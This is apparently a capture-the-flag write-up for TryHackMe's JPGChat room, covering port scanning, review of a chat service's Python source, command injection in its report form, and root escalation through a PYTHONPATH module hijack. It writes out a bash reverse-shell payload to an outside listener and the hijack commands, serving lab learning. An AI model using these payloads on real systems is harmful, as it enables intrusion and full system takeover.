Today, we’re going to do a challenge room from TryHackMe called JPGChat. You can find it here. It is a free room rated as Easy, so feel free to follow along. The room description says, “Exploiting poorly made custom chatting service written in a certain language…”. If you take a look at the logo for this room, you can probably guess what that language is. Going in, I was already thinking that we were going to have to deal with some Python. All we get is the instruction to “Hack into the machine and retrieve the flag” and our two tasks are “Establish a foothold and get user.txt” and “Escalate your privileges to root and read root.txt”. Not a lot of frills, but pretty standard fare, so let’s get started.
The first thing I did was add the IP for my instance of this machine into my /etc/hosts file with the name jpgchat.thm. You don’t have to do this and (spoiler alert), I didn’t really need it or use it very much that way in this room.
Enumeration
nmap
The first thing I did was a basic nmap scan. I’ve taken to just doing a fast scan (-T4) of all TCP ports (-p-) with no scripts running just to find the open ports. I’ve been doing so many of these where the room creators have been avoiding ports in the “most common thousand” that nmap uses if you don’t specify, so I started doing this. Then, you can do a more in-depth scan against only those open ports (here I did -A, which enables OS detection, version detection, script scanning, and traceroute). You can see the results below. We have a standard SSH port open and a port 3000. We don’t see a web server version with port 3000, so this may or may not be a web site.
# Basic nmap root@vici:~# nmap -T4 -p- 10.10.239.7 Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:25 BST Nmap scan report for jpgchat.thm (10.10.239.7) Host is up (0.00038s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp MAC Address: 02:90:3B:F1:10:2D (Unknown) Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds # In-Depth after we found ports root@vici:~# sudo nmap -A -T4 -p 22,3000 10.10.239.7 Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:26 BST Nmap scan report for jpgchat.thm (10.10.239.7) Host is up (0.00054s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA) | 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA) |_ 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519) 3000/tcp open ppp? | fingerprint-strings: | GenericLines, NULL: | Welcome to JPChat | source code of this service can be found at our admin's github | MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel |_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.80%I=7%D=6/24%Time=685AA78A%P=x86_64-pc-linux-gnu%r(NU SF:LL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x20 SF:service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSAG SF:E\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(currentl SF:y\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\x20 SF:report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r(Gen SF:ericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20t SF:his\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\ SF:nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(c SF:urrently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x2 SF:0to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n" SF:); MAC Address: 02:90:3B:F1:10:2D (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.10 - 3.13 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.54 ms jpgchat.thm (10.10.239.7) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds
Port 3000
View Source is only that text. It is not markup at all. There is nothing in the Headers that I can see in the response using the Developer Tools. That’s all weird. It is telling us to do stuff, but I can’t do what they are asking me to do. Because of that, and because of general CTF-ness, I’m going to connect with netcat and see if we can interact with it at all or get some more information than we’re getting from nmap or the browser.
root@vici:~# nc 10.10.239.7 3000 Welcome to JPChat the source code of this service can be found at our admin's github MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel REPORT USAGE: use [REPORT] to report someone to the admins (with proof) [MESSAGE] There are currently 0 other users logged in [MESSAGE]: hi [MESSAGE]: wessyde [MESSAGE]: exit [MESSAGE]: [REPORT] this report will be read by Mozzie-jpg your name: Me your report: I'm just looking for information... gotcha Mozzie-jpg! [MESSAGE]: ^C
Okay. So, I can send messages and I can report things. It says the report will be read by Mozzie-jpg. That’s a pretty unique username. Let’s see if we can search that and find anything. The message did say that the source can be found on the admin’s GitHub, this might be what points us to it. And, after about 3 seconds of Googling, I found Mozzie-jpg’s GitHub and then found the repo for this project https://github.com/Mozzie-jpg/JPChat.
Inside, the source of jpchat.py is this:
#!/usr/bin/env python3 import os print ('Welcome to JPChat') print ('the source code of this service can be found at our admin\'s github') def report_form(): print ('this report will be read by Mozzie-jpg') your_name = input('your name:\n') report_text = input('your report:\n') os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name) os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text) def chatting_service(): print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel') print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)') message = input('') if message == '[REPORT]': report_form() if message == '[MESSAGE]': print ('There are currently 0 other users logged in') while True: message2 = input('[MESSAGE]: ') if message2 == '[REPORT]': report_form() chatting_service()
Exploitation
So there doesn’t seem to be any exploit within the chatting function, but [REPORT] sure does. It runs an os.system() Python command with a good old bash -c. If we just do some command injection with nothing more exciting than a semicolon, we’re going to have some wins here. Here’s what I did next to set up a netcat listener, do the command injection to call out to it, then go back and see the connection.
# In a new tab root@vici:~# nc -lvnp 4444 # In original tab root@vici:~# nc 10.10.239.7 3000 Welcome to JPChat the source code of this service can be found at our admin's github MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel REPORT USAGE: use [REPORT] to report someone to the admins (with proof) [REPORT] this report will be read by Mozzie-jpg your name: pwn3d your report: ;bash -i >& /dev/tcp/10.10.136.81/4444 0>&1; # Back in the new tab... root@vici:~# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.239.7 55804 bash: cannot set terminal process group (1422): Inappropriate ioctl for device bash: no job control in this shell wes@ubuntu-xenial:/$
We’re in. Let’s look around and find the user flag.
cd /home/wes wes@ubuntu-xenial:~$ ls ls user.txt wes@ubuntu-xenial:~$ cat user.txt cat user.txt JPC{487030410a543503cbb59ece16178318}
Privilege Escalation
Recon as Wes
Let’s take a look around. I check the groups that Wes belongs to and his sudo privileges. It ends up that he has no interesting groups and can run sudo on one python file.
wes@ubuntu-xenial:~$ id id uid=1001(wes) gid=1001(wes) groups=1001(wes) # No Good Groups, does sudo -l work? wes@ubuntu-xenial:~$ sudo -l sudo -l Matching Defaults entries for wes on ubuntu-xenial: mail_badpass, env_keep+=PYTHONPATH User wes may run the following commands on ubuntu-xenial: (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py # What is in there? wes@ubuntu-xenial:~$ cat /opt/development/test_module.py cat /opt/development/test_module.py #!/usr/bin/env python3 from compare import * print(compare.Str('hello', 'hello', 'hello'))
The file doesn’t do very much, but it does import from a module called compare. So, what I can do is make my own compare module and edit my Python path information so that mine module is called instead of the real one and then my code will get executed as root. So, I make my own compare.py file, edit the path to have /home/wes in it.
# I tried a few things but I couldn't get editors to work, # nano not at all and vi was weird/buggy # I was too lazy to set up .ssh keys for wes to SSH in and # have a better shell experience # I had already upgraded my shell with a Python pty.spawn() command, # but that didn't seem to help # so i did this the hacky way. I wasn't sure how to do this in one # line with a newline so I did it in two steps wes@ubuntu-xenial:~$ echo "import os" > compare.py echo "import os" > compare.py wes@ubuntu-xenial:~$ echo "os.system('/bin/bash')" >> compare.py echo "os.system('/bin/bash')" >> compare.py wes@ubuntu-xenial:~$ cat compare.py cat compare.py import os os.system('/bin/bash') wes@ubuntu-xenial:~$ chmod +x compare.py chmod +x compare.py wes@ubuntu-xenial:~$ export PYTHONPATH=/home/wes export PYTHONPATH=/home/wes
Getting the Root Shell
After that, we just have to run it and then grab the root flag. Everything below the flag is from the root.txt file, these are the room creator’s shoutouts.
# Now to run it wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py sudo /usr/bin/python3 /opt/development/test_module.py root@ubuntu-xenial:~# whoami whoami root root@ubuntu-xenial:~# cd /root cd /root root@ubuntu-xenial:/root# ls ls root.txt root@ubuntu-xenial:/root# cat root.txt cat root.txt JPC{665b7f2e59cf44763e5a7f070b081b0a} Also huge shoutout to Westar for the OSINT idea i wouldn't have used it if it wasnt for him. and also thank you to Wes and Optional for all the help while developing You can find some of their work here: https://github.com/WesVleuten https://github.com/optionalCTF root@ubuntu-xenial:/root#
That’s it. A good solid beginner room that had a little OSINT, a little code review, some command injection, and a little Python scripting. Hope you enjoyed it!